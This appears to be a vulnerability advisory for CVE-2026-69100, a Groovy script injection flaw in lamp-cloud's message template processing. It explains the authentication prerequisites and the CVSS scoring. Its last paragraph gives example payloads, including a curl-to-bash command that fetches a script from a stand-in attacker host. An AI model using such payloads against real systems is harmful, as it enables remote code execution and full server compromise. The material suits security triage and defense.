lamp-cloud CVE-2026-69100

Exploitation requires a valid lamp-cloud account with at least low-privilege access (PR:L per CVSS 4.0 vector) to the message template management endpoints that can write to or influence the Groovy script database field processed by GlueFactory. The attack is network-reachable (AV:N) with no additional configuration or target-specific prerequisites beyond a default lamp-cloud installation. Limiting factors: (1) an authenticated session is mandatory - anonymous or unauthenticated exploitation is not indicated by available data; (2) the authenticated user must have application-level permission to create or modify message templates, which may be scoped to specific roles (the exact role boundary is not specified in available data and should be verified with the vendor); (3) the vulnerable code path is specifically in the message/notification template processing pipeline - deployments that have disabled or restricted this feature may have reduced exposure, though this is not confirmed as a supported configuration. No special non-default configuration is required to be vulnerable: the unsandboxed execution was the default behavior in all versions through 5.6.2.

The CVSS 4.0 base score of 8.7 with vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N accurately reflects the core risk profile: network-reachable, low complexity, no special attack requirements, but gated behind low-privilege authentication. The PR:L requirement is the primary limiting factor - unauthenticated exploitation is not indicated by the available data, meaning anonymous internet exposure is lower than a PR:N flaw of equal severity. However, the presence of a publicly available exploit (GitHub issue #408, referenced by VulnCheck and cveorg) substantially compresses the attacker skill requirement for any session holder. No CISA KEV listing is present at time of analysis, suggesting exploitation has not yet been confirmed as widespread, though the low complexity and public PoC make opportunistic exploitation plausible for any attacker who can obtain low-privilege credentials. Full VC:H/VI:H/VA:H impact means successful exploitation yields complete server compromise. SC:N/SI:N/SA:N constrains impact to the vulnerable system itself with no automatic lateral scope change, though post-exploitation pivoting is possible through OS command access. The overall signal is: high real-world priority for any organization running lamp-cloud with low-privileged user populations, but less urgent than a PR:N equivalent.

An attacker with a low-privilege lamp-cloud account navigates to the message template management endpoint and saves a Groovy script field containing a payload such as 'curl http://attacker.com/shell.sh | bash'.execute() or ['bash','-c','id > /tmp/pwned'].execute(). When GlueFactory is invoked to process the template, it compiles and runs the payload via GroovyClassLoader with no restrictions, executing OS commands as the backend Java process user. A publicly available exploit exists via GitHub issue #408, reducing the expertise required for any credentialed attacker to weaponize this path.